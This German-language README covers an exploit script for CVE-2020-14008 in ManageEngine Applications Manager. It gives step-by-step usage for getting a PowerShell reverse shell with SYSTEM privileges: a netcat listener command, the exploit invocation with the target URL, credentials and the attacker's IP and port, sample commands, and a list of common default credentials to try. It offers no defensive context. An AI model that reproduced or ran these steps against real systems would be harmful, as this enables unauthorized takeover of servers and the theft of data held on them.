CVE-2020-14008 ManageEngine Exploit

Was ist das?

Dieses Skript nutzt CVE-2020-14008 in ManageEngine Applications Manager aus, um eine Reverse Shell mit SYSTEM-Berechtigungen zu erhalten.

Voraussetzungen

pip3 install requests urllib3

Wie man es verwendet

1. Einen Listener starten

nc -nlvp 9001

2. Den Exploit ausführen

python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>

Beispiele

# Direkter Angriff
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001

# Über Portweiterleitung
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001

Häufige Anmeldedaten zum Testen

• admin:admin
• administrator:administrator
• guest:guest

Was du bekommst

• PowerShell Reverse Shell
• SYSTEM-Berechtigungen auf dem Ziel
• Vollständige Kontrolle über den ManageEngine-Server